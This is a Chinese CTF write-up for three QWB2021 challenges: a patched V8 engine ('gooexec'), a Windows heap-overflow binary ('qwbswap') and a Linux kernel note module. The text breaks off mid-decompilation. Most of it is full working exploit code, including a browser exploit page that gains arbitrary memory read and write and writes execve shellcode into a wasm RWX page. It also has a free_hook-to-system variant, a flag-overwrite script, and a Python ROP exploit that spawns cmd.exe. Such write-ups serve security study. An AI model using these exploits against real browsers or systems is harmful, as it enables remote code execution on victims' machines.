目录

QWB2021

附件下载

gooexec复现

编译

1
2
3
4
5
6
7
git checkout 8.7.74
gclient sync
git apply < ./GOO.diff
./tools/dev/v8gen.py x64.release
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.release
ninja -C out.gn/x64.debug

漏洞利用

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
function foo(a, b) {
    let tmp = {};//对象
    b[0] = 0;
    a.length;
    for(let i=0; i<a.length; i++){
        a[i] = tmp;//类型优化成了HOLEY_ELEMENTS
    }
    let o = [1.1];
    b[15] = 2.0316e-320;//b和a指向同一对象,由于没有KILL_MAPS导致此时赋值的时候还是按照DOUBLE来赋值的
    return o;
}
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';
//jit优化
for(let i=0; i<10000; i++) {
    var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];//DOUBLE
    foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
    foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}
var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_array = foo(float_arr, float_arr, {});//函数内两个都是DOUBLE的
// print(oob_array.length);

节点a和b可能是同一对象,在节点a发生优化,类型转化后,b节点由于没有KillMaps操作,删除了节点前的CheckMaps,导致访问b时是按照原先的类型来访问优化后的类型,形成类型混淆漏洞。

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230701172548153.png

Double是HOLEY_DOUBLE_ELEMENTS

混淆之后的类型是HOLEY_ELEMENTS

下面这句话,那不就可以数组越界了嘛

所以漏洞触发后,数组b转化成了对象数组,而访问还是按照浮点数组类型来访问,而因为指针压缩的缘故,浮点数组转换成对象数组后,长度会缩短一半,这样计算偏移就能精准覆盖到后面数组o的长度,让数组o成为能够越界读写的数组。

节点a和b可能是同一对象,在节点a发生优化,类型转化后,b节点由于没有KillMaps操作,删除了节点前的CheckMaps,导致访问b时是按照原先的类型来访问优化后的类型,形成类型混淆漏洞。

构造出read_dataview和write_dataview就可以一把梭了

exp.html

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<body>
    <script> 
        var buf = new ArrayBuffer(0x8);
        var dv = new DataView(buf);
        
        
        function i2f(value) {
            dv.setBigUint64(0,BigInt(value),true);
            return dv.getFloat64(0,true);
        }
        
        function f2i(value) {
            dv.setFloat64(0,value,true);
            return dv.getBigUint64(0,true);
        }
        function i2f32(value) {
            dv.setUint32(0,value,true);
            return dv.getFloat32(0,true);
        }
        function f2i32(value) {
            dv.setFloat32(0,value,true);
            return dv.getBigUint32(0,true);
        }
        
        function hex(addr){
            return "0x" + addr.toString(16);
        }
        function wasm_func() {
            var wasmImports = {
                env: {
                    puts: function puts (index) {
                        print(utf8ToString(h, index));
                    }
                }
            };
            var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
                96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
                116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
                131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
                109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
                128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
                65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
            let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
            let h = new Uint8Array(m.exports.memory.buffer);
            return m.exports.hello;
        }
        
        func = wasm_func();
        var wasmObjAddr;
        function foo(a, b) {
            let tmp = {};
            b[0] = 0;
            a.length;
            for(let i=0; i<a.length; i++){
                a[i] = tmp;
            }
            let o = [1.1];
            b[15] = 2.0316e-320;
            return o;
        }
        var a1, a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high,addr_high,addr_low,tmp_addr,high_addr;
        let arr_addr_of = new Array(1);
        arr_addr_of[0] = 'a';
        for(let i=0; i<10000; i++) {
            eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
            foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
            foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
        }
        var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
        var oob_array = foo(float_arr, float_arr, {});
        objBuf = new ArrayBuffer(0x200);
        objView = new DataView(objBuf);
        a4 = new BigUint64Array(4);
        a4[0] = 0x1122334455667788n;
        a4[1] = 0xaabbaabbccddccddn;
        a4[2] = 0xdeadbeefdeadbeefn;
        a4[3] = 0xeeeeeeeeffffffffn;
        obj = {aaaa:"bbbb"};
        objArray = [obj];
        objArray[0] = func;
        addr_high = f2i(oob_array[34]);
        addr_high = (addr_high >> 32n) << 32n;
        addr_low = f2i(oob_array[48]) >> 32n;
        wasmObjAddr = addr_high + addr_low - 1n;
        high_addr = addr_high;
        function read_dataview(addr){
            let tmp_low = addr << 32n;
            let tmp_hign = addr >> 32n;
            tmp_addr = (f2i(oob_array[6]) >> 32n) << 32n;
            tmp_high = tmp_addr + tmp_hign;
            oob_array[5] = i2f(tmp_low);
            oob_array[6] = i2f(tmp_high);
            return f2i(objView.getFloat64(0,true));
        }
        function write_dataview(addr,payload){
            let tmp_low = addr << 32n;
            let tmp_hign = addr >> 32n;
            tmp_addr = (f2i(oob_array[6]) >> 32n) << 32n;
            tmp_high = tmp_addr + tmp_hign;
            oob_array[5] = i2f(tmp_low);
            oob_array[6] = i2f(tmp_high);
            for(var i = 0;i < payload.length;i++){
                objView.setUint8(i,payload[i],true);
            }
        }
        addr_high = high_addr;
        var sharedInfoAddr = read_dataview(wasmObjAddr + 0x8n) >> 32n ;
        sharedInfoAddr = sharedInfoAddr + addr_high;
        console.log("sharedInfoAddr:" + hex(sharedInfoAddr));
        var wasmExportedFunctionDataAddr = read_dataview(sharedInfoAddr-0x1n) >> 32n;
        wasmExportedFunctionDataAddr = wasmExportedFunctionDataAddr + addr_high;
        console.log("wasm_func_data_addr: "+ hex(wasmExportedFunctionDataAddr));
        var instanceAddr = read_dataview(wasmExportedFunctionDataAddr+0x3n) >> 32n ;
        instanceAddr = instanceAddr + addr_high;
        console.log("instanceAddr: "+ hex(instanceAddr));
        var rwx_addr = read_dataview(instanceAddr + 0x67n);
        console.log("rwx_addr: "+ hex(rwx_addr));
        var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
            96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
            105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
            72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
            72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
            184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
            94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
        write_dataview(rwx_addr, shellcode);
        func();
    </script>
</body>

no_wasm疑难杂症

上面的exp是 打的wasm,但是这个环境好像关闭了wasm,所以需要采用劫持free_hook的方法来做..但是只能打通d8,chrome好像暂时不能打

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);


function i2f(value) {
    dv.setBigUint64(0,BigInt(value),true);
    return dv.getFloat64(0,true);
}

function f2i(value) {
    dv.setFloat64(0,value,true);
    return dv.getBigUint64(0,true);
}
function i2f32(value) {
    dv.setUint32(0,value,true);
    return dv.getFloat32(0,true);
}
function f2i32(value) {
    dv.setFloat32(0,value,true);
    return dv.getBigUint32(0,true);
}

function hex(addr){
    return "0x" + addr.toString(16);
}
function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

func = wasm_func();
var wasmObjAddr;
function foo(a, b) {
    let tmp = {};
    b[0] = 0;
    a.length;
    for(let i=0; i<a.length; i++){
        a[i] = tmp;
    }
    let o = [1.1];
    b[15] = 2.0316e-320;
    return o;
}
var a1, a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high,addr_high,addr_low,tmp_addr,high_addr;
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';
//jit
for(let i=0; i<10000; i++) {
    var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
    foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
    foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}
var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_array = foo(float_arr, float_arr, {});
objBuf = new ArrayBuffer(0x200);
objView = new DataView(objBuf);
a4 = new BigUint64Array(4);
a4[0] = 0x1122334455667788n;
a4[1] = 0xaabbaabbccddccddn;
a4[2] = 0xdeadbeefdeadbeefn;
a4[3] = 0xeeeeeeeeffffffffn;
obj = {aaaa:"bbbb"};
objArray = [obj];
objArray[0] = func;
addr_high = f2i(oob_array[34]);
addr_high = (addr_high >> 32n) << 32n;
addr_low = f2i(oob_array[48]) >> 32n;
wasmObjAddr = addr_high + addr_low - 1n;
// console.log(hex(wasmObjAddr));
high_addr = addr_high;
tmp_addr = (f2i(oob_array[6]) >> 32n) << 32n;
function read_dataview(addr){
    let tmp_low = addr << 32n;
    let tmp_hign = addr >> 32n;
    tmp_high = tmp_addr + tmp_hign;
    oob_array[5] = i2f(tmp_low);
    oob_array[6] = i2f(tmp_high);
    return f2i(objView.getFloat64(0,true));
}
function write_dataview(addr,payload){
    let tmp_low = (addr % 0x100000000n) << 32n;
    let tmp_hign = addr >> 32n;
    tmp_high = tmp_addr + tmp_hign;
    oob_array[5] = i2f(tmp_low);
    oob_array[6] = i2f(tmp_high);
    for(var i = 0;i < payload.length;i++){
        objView.setUint8(i,payload[i],true);
    }
}
function write64_dataview(addr,payload){
    let tmp_low = (addr % 0x100000000n) << 32n;
    let tmp_hign = addr >> 32n;
    tmp_high = tmp_addr + tmp_hign;
    oob_array[5] = i2f(tmp_low);
    oob_array[6] = i2f(tmp_high);
    objView.setBigUint64(0,payload,true);
}
var map_addr = f2i(oob_array[1]) % 0x100000000n;
map_addr = map_addr + high_addr;
console.log("map_addr:" + hex(map_addr));
constructor_addr = read_dataview(map_addr-1n-0x90n);
constructor_addr = constructor_addr >> 32n;
constructor_addr = constructor_addr + high_addr;
code_addr = read_dataview(constructor_addr + 0x18n - 1n);
code_addr = ((code_addr % 0x10000000n) + high_addr);
console.log("code_addr:" + hex(code_addr));
// var code_base = 0;
// for(let i = 0n;i < 20n;i++){
//     let tmp_x = i * 8n;
//     code_base = read_dataview(code_addr - 0x1n + tmp_x + 0x30n);
//     console.log("tmp_addr:" + hex(code_base));
// }
code_base = (read_dataview(code_addr + 0x40n-0x1n) >> 16n) - 0x1213a80n;
console.log("code_base:" + hex(code_base));
var free_got = 0x000000001539388n + code_base;
var libc_free =  read_dataview(free_got);
var libc_base = libc_free - 0x9a6d0n;
var free_hook = libc_base + 0x1eee48n;
var system_addr = libc_base + 0x52290n;
console.log(hex(libc_base));
write64_dataview(free_hook,system_addr);
let content = read_dataview(free_hook);
function pwn(){
    let args = "gnome-calculator\x00";
}
pwn();
write64_dataview(free_hook,0n);
content = read_dataview(free_hook);
console.log(hex(content));

解决

通过chrome leak出的地址是libv8.so里面的,d8用的是d8这个文件的地址

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230702222652200.png

因此上面打不通,根据参考连接知道可以将FLAG_expose_wasm给置1就可以重新开启wasm,因此可以通过任意地址写将该值写为1,然后再次运行exp.html即可

覆写FLAG_expose_wasm

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<body>
    <script>
        var buf = new ArrayBuffer(0x8);
        var dv = new DataView(buf);
        
        
        function i2f(value) {
            dv.setBigUint64(0,BigInt(value),true);
            return dv.getFloat64(0,true);
        }
        
        function f2i(value) {
            dv.setFloat64(0,value,true);
            return dv.getBigUint64(0,true);
        }
        function i2f32(value) {
            dv.setUint32(0,value,true);
            return dv.getFloat32(0,true);
        }
        function f2i32(value) {
            dv.setFloat32(0,value,true);
            return dv.getBigUint32(0,true);
        }
        
        function hex(addr){
            return "0x" + addr.toString(16);
        }
        var wasmObjAddr;
        function foo(a, b) {
            let tmp = {};
            b[0] = 0;
            a.length;
            for(let i=0; i<a.length; i++){
                a[i] = tmp;
            }
            let o = [1.1];
            b[15] = 2.0316e-320;
            return o;
        }
        var a1, a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high,addr_high,addr_low,tmp_addr,high_addr;
        let arr_addr_of = new Array(1);
        arr_addr_of[0] = 'a';
        //jit
        for(let i=0; i<10000; i++) {
            var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
            foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
            foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
        }
        var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
        var oob_array = foo(float_arr, float_arr, {});
        objBuf = new ArrayBuffer(0x200);
        objView = new DataView(objBuf);
        a4 = new BigUint64Array(4);
        a4[0] = 0x1122334455667788n;
        a4[1] = 0xaabbaabbccddccddn;
        a4[2] = 0xdeadbeefdeadbeefn;
        a4[3] = 0xeeeeeeeeffffffffn;
        obj = {aaaa:"bbbb"};
        objArray = [obj];
        addr_high = f2i(oob_array[34]);
        addr_high = (addr_high >> 32n) << 32n;
        high_addr = addr_high;
        tmp_addr = (f2i(oob_array[6]) >> 32n) << 32n;
        function read_dataview(addr){
            let tmp_low = addr << 32n;
            let tmp_hign = addr >> 32n;
            tmp_high = tmp_addr + tmp_hign;
            oob_array[5] = i2f(tmp_low);
            oob_array[6] = i2f(tmp_high);
            return f2i(objView.getFloat64(0,true));
        }
        function write_dataview(addr,payload){
            let tmp_low = (addr % 0x100000000n) << 32n;
            let tmp_hign = addr >> 32n;
            tmp_high = tmp_addr + tmp_hign;
            oob_array[5] = i2f(tmp_low);
            oob_array[6] = i2f(tmp_high);
            for(var i = 0;i < payload.length;i++){
                objView.setUint8(i,payload[i],true);
            }
        }
        function write64_dataview(addr,payload){
            let tmp_low = (addr % 0x100000000n) << 32n;
            let tmp_hign = addr >> 32n;
            tmp_high = tmp_addr + tmp_hign;
            oob_array[5] = i2f(tmp_low);
            oob_array[6] = i2f(tmp_high);
            objView.setBigUint64(0,payload,true);
        }
        var map_addr = f2i(oob_array[1]) % 0x100000000n;
        map_addr = map_addr + high_addr;
        console.log("map_addr:" + hex(map_addr));
        constructor_addr = read_dataview(map_addr-1n-0x90n);
        constructor_addr = constructor_addr >> 32n;
        constructor_addr = constructor_addr + high_addr;
        code_addr = read_dataview(constructor_addr + 0x18n - 1n);
        code_addr = ((code_addr % 0x10000000n) + high_addr);
        console.log("code_addr:" + hex(code_addr));
        // var code_base = 0;
        // for(let i = 0n;i < 20n;i++){
        //     let tmp_x = i * 8n;
        //     code_base = read_dataview(code_addr - 0x1n + tmp_x + 0x30n);
        //     console.log("tmp_addr:" + hex(code_base));
        // }
        code_base = (read_dataview(code_addr + 0x40n-0x1n) >> 16n) - 0x2cdc0n;
        var libc_base = code_base - 0x2a3d000n;
        code_base = code_base - 0x3bd000n;
        console.log("code_base:" + hex(code_base));
        var FLAG_expose_wasm = 0xEED418n + code_base;
        console.log(hex(FLAG_expose_wasm));
        write64_dataview(FLAG_expose_wasm,1n);  
    </script>
</body>

调试方法:

打开浏览器./chrome --js-flags="--noexpose_wasm --allow-natives-syntax" --no-sandbox

然后输入shift + esc来打开进程,查看脚本的进程,例如我这里的poc1.html是14230,然后通过sudo gdb然后attach 14230即可附加调试。

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230702223033578.png

FLAG_expose_wasm可以通过IDA里面搜索FLAG_expose_wasm来得到

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230702223211579.png

可以看到默认值是1,但是当--noexpose_wasm的时候该值就会被赋值为0,因此可以通过任意地址写来将该值修改。

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230702223328421.png

修改之后再次运行exp.html即可

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230702222546149.png

hijack jit

参考链接

好像不行。。。寄

qwbswap复现

前言

  1. windows 64位程序函数调用的参数顺序依次为rcx,rdx,r8,r9
  2. 在调用system(cmd.exe)过程中,若出现MOVAPS [rsp+0x4f0],xmm0之类的错误而导致不能反弹shell,这是因为MOVAPS指令需要16字节对齐,因此需要在rop链中修改gadget来调整栈空间

windbg常用指令

1
2
3
r $teb #查看teb
r $peb #查看peb
db PebLdr #查看PebLdr

搜索栈的方法

在PebLdr里面可以找到peb,通过peb可以求得ted,在teb里面存在stack_addr,PebLdr属于ntdll段,因此只要泄露出了ntdll_addr就可以得出PebLdr

但实际上,peb和teb的偏移并不是固定的,(至少调试的时候是这样的。但是我们发现在peb上是存在栈地址,因此可以直接通过peb来将stack地址给leak出来

漏洞点

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230701005045582.png

edit里面的addrList[idx]->size是可以重新指定的,因此会造成一个堆溢出。由于指针在堆里面,因此我们就可以进一步做到任意地址读写

漏洞利用

arb_read

例如有两个堆块,记为heap1和heap2,通过heap1的堆溢出劫持heap2的指针从而造成任意地址读写

1
2
3
def arb_read(addr,size):
    edit(0,"a"*0x40,0x100,"b"*0x20 + p64(0) + p64(cookie) + p64(heap_addr) + p64(size) + p64(0) + p64(addr))
    show(1)

要读什么地方

首先我们可以通过扩大读的范围来泄露堆上的某些地址,而堆上是存在ntdll.dll的地址的,因此可以通过上面的方法来找到栈地址,找到栈地址之后,我们可以在其周围进行遍历,通过返回地址的具体值来进行匹配,从而精准获取到返回地址所在的栈地址

arb_write

1
2
3
def arb_write(addr,size,content):
    edit(0,"a"*0x40,0x100,"b"*0x20 + p64(0) + p64(cookie) + p64(heap_addr) + p64(size) + p64(0) + p64(addr))
    edit(1,"a"*0x40,size,content)

在返回地址上布置rop链子即可,除了必要的system(“cmd.exe”)调用之外,我们需要加一个ret来调整栈帧平衡

exp

需要多运行几遍

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from winpwn import*
# context.windbgx=
context.log_level = "debug"
context.arch = "amd64"
def cmd(idx):
    p.recvuntil("choice")
    p.sendline(idx)
def add(token_name,size,payload):
    cmd('1')
    p.recvuntil("Token Name:")
    p.sendline(token_name)
    p.recvuntil("Count:")
    p.sendline(str(size))
    p.recvuntil("Whitepaper")
    p.send(payload)
def edit(idx,token_name,size,payload):
    cmd("2")
    p.recvuntil("Which Token")
    p.sendline(str(idx))
    p.recvuntil("Token Name:")
    p.sendline(token_name)
    p.recvuntil("Count:")
    p.sendline(str(size))
    p.recvuntil("WhitePaper:")
    p.send(payload)
def free(idx):
    cmd("3")
    p.recvuntil("Which Token")
    p.sendline(str(idx))
def show(idx):
    cmd("5")
    p.recvuntil("Which Token")
    p.sendline(str(idx))
def arb_read(addr,size):
    edit(0,"a"*0x40,0x100,"b"*0x20 + p64(0) + p64(cookie) + p64(heap_addr) + p64(size) + p64(0) + p64(addr))
    show(1)
    p.recvuntil("WhitePaper: ")
def arb_write(addr,size,content):
    edit(0,"a"*0x40,0x100,"b"*0x20 + p64(0) + p64(cookie) + p64(heap_addr) + p64(size) + p64(0) + p64(addr))
    edit(1,"a"*0x40,size,content)
p = process(["./QwbSwap.exe"])
winfile("./QwbSwap.exe")
add("a"*0x40,0x20,"b"*0x20)
add("c"*0x40,0x20,"d"*0x20)
edit(0,"a"*0x40,0x100,"b"*0x20)
show(0)
p.recvuntil("b"*0x20)
p.recv(8)
#encoding_date防止破坏堆
cookie = u64(p.recv(8))
heap_addr = u64(p.recv(8))
#读取堆上的ntdll_addr
arb_read(heap_addr - 0x680,0x8)
ntdll_addr = u64(p.recv(6).ljust(8,'\x00'))
#计算ntdll_base
ntdll_base = ntdll_addr - 0x168ed0
#计算PebLdr_addr
Pebldr_addr = ntdll_base + 0x16a4c0
# 读取PebLdr里面的peb地址
arb_read(Pebldr_addr-0x78,0x8)
peb_addr = u64(p.recv(6).ljust(8,'\x00'))
peb_base = peb_addr - 0x80
# 读取peb里面的栈地址
arb_read(peb_base + 0x390,0x20)
stack_addr = u64(p.recv(8))
# 获取peb里面的code地址
arb_read(peb_base + 0x10,0x8)
codebase = u64(p.recv(8))
ret_addr = 0x1794 + codebase
ret_stack = stack_addr - 0xffc00 - 0x438
ret_stack = ret_stack & 0xfffffffffffff000
print(hexdump(p64(ret_addr)))
flags = 0
# 遍历得到返回地址所在的栈地址
for i in range(5):
    print(f"Try_addr: {hex(ret_stack)}")
    sleep(0.01)
    arb_read(ret_stack,0x500)
    content = p.recv(0x500)
    if p64(ret_addr) in content:
        offset = content.index(p64(ret_addr))
        if offset % 8 != 0:
            offset -= (offset % 8)
        ret_stack = ret_stack + offset - 0x50
        for j in range(0,0x100):
            arb_read(ret_stack,0x8)
            tmp_addr = u64(p.recv(8))
            if tmp_addr == ret_addr:
                flags = 1
                arb_read(ret_stack + 0x8,0x8)
                ucrtbase = u64(p.recv(8)) - 0xf07a8
                print("SUCCESSFUL FOUND: ")
                break
            ret_stack += j * 8
        break
    ret_stack += 0x500
if flags == 0:
    print("ERROR")
    p.close()
#往已知地址里面写cmd.exe
arb_write(ret_stack + 0x100,0x9,"cmd.exe\x00\x00")
system_addr = ucrtbase + 0xad5c0 + 0x1000
pop_rcx = ucrtbase + 0x2aa80
payload = p64(ucrtbase + 0x1147)
payload += p64(pop_rcx)
payload += p64(ret_stack + 0x100)
payload += p64(system_addr)
# 构造rop链子
arb_write(ret_stack,len(payload),payload)
print("heap_addr:" + hex(heap_addr))
print("cookie :" + hex(cookie))
print("ntdll_base:" + hex(ntdll_base))
print("Pebldr_addr:" + hex(Pebldr_addr))
print("peb_base:" + hex(peb_base))
print("stack_addr:" + hex(stack_addr))
print("code_base :" + hex(codebase))
print("ret_stack: " + hex(ret_stack))
print("ret_addr: " + hex(ret_addr))
print("ucrtbase: "+ hex(ucrtbase))
print("POP_RCX:" + hex(pop_rcx))
p.interactive()

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230701033515185.png

notebook复现

分析

start.sh

开了smep、smap、多核

1
2
3
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

uname -r

1
4.15.8

mynote_read

读取堆块内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ssize_t __fastcall mynote_read(file *file, char *buf, size_t idx, loff_t *pos)
{
  unsigned __int64 v4; // rdx
  unsigned __int64 id; // rdx
  size_t size; // r13
  void *note; // rbx

  _fentry__(file, buf, idx, pos);
  if ( v4 > 0x10 )
  {
    printk("[x] Read idx out of range.\n");
    return -1LL;
  }
  else
  {
    id = v4;
    size = notebook[id].size;
    note = notebook[id].note;
    _check_object_size(note, size, 1LL);
    copy_to_user(buf, note, size);
    printk("[*] Read success.\n");
    return 0LL;
  }
}

mynote_write

编辑堆块内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ssize_t __fastcall mynote_write(file *file, const char *buf, size_t idx, loff_t *pos)
{
  unsigned __int64 v4; // rdx
  unsigned __int64 v5; // rdx
  size_t size; // r13
  void *note; // rbx

  _fentry__(file, buf, idx, pos);
  if ( v4 > 0x10 )
  {
    printk("[x] Write idx out of range.\n");
    return -1LL;
  }
  else
  {
    v5 = v4;
    size = notebook[v5].size;
    note = notebook[v5].note;
    _check_object_size(note, size, 0LL);
    if ( copy_from_user(note, buf, size) )
      printk("[x] copy from user error.\n");
    else
      printk("[*] Write success.\n");
    return 0LL;
  }
}

noteadd

限制了size不能大于0x60,输入的时候往name里面输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
  __int64 v3; // rdx
  __int64 v4; // r13
  note *v5; // rbx
  size_t v6; // r14
  __int64 v7; // rbx

  _fentry__(idx, size, buf);
  if ( idx > 0xF )
  {
    v7 = -1LL;
    printk("[x] Add idx out of range.\n");
  }
  else
  {
